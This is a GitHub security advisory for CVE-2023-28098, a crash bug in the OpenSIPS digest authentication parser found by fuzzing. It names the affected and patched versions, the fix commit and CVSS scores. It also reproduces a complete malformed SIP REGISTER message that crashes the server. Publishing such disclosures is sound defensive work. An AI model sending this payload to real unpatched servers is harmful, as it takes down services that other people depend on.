Skip to content

Vulnerability in the Digest Authentication Parser

Moderate
liviuchircu published GHSA-jrqg-vppj-hr2h Mar 15, 2023

Package

opensips (OpenSIPS Core)

Affected versions

<= 3.2

Patched versions

3.1.7, 3.2.4

Description

Impact

A specially crafted Authorization header causes OpenSIPS to crash or behave in an unexpected way
due to a bug in the function parse_param_name() .

This issue was discovered while performing coverage guided fuzzing of the function parse_msg. The
AddressSanitizer identified that the issue occurred in the function q_memchr() which is being called by the
function parse_param_name().

This issue could be reproduced by sending the following SIP message to OpenSIPS:

REGISTER sip:172.27.0.3 SIP/2.0<CRLF>
Via: SIP/2.0/UDP 172.27.0.1:58896;rport;branch=z9hG4bK-83ZZolARa<CRLF>
Max-Forwards: 70<CRLF>
From: <sip:[email protected]>;tag=nNkDsaHAhAybPyt8<CRLF>
To: <sip:[email protected]><CRLF>
Call-ID: 83ZZolAa<CRLF>
CSeq: 9 REGISTER<CRLF>
Contact: <sip:[email protected]:58896;transport=udp><CRLF>
Expires: 60<CRLF>
Content-Length: 0<CRLF>
Authorization: Digest a a=\"\",real<CRLF>
<CRLF>

This malformed message was tested against an instance of OpenSIPS and was found to crash the server.

This issue may cause erratic program behaviour or a server crash. It affects configurations containing
functions that make use of the affected code, such as the function www_authorize() .

Solutions and Recommendations

This issue was fixed in commit dd9141b which was tested and found to address the issue. For more info, refer to the Audit Document section 3.4.

For more information

If you have any questions or comments about this advisory:

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2023-28098

Weaknesses

No CWEs

Credits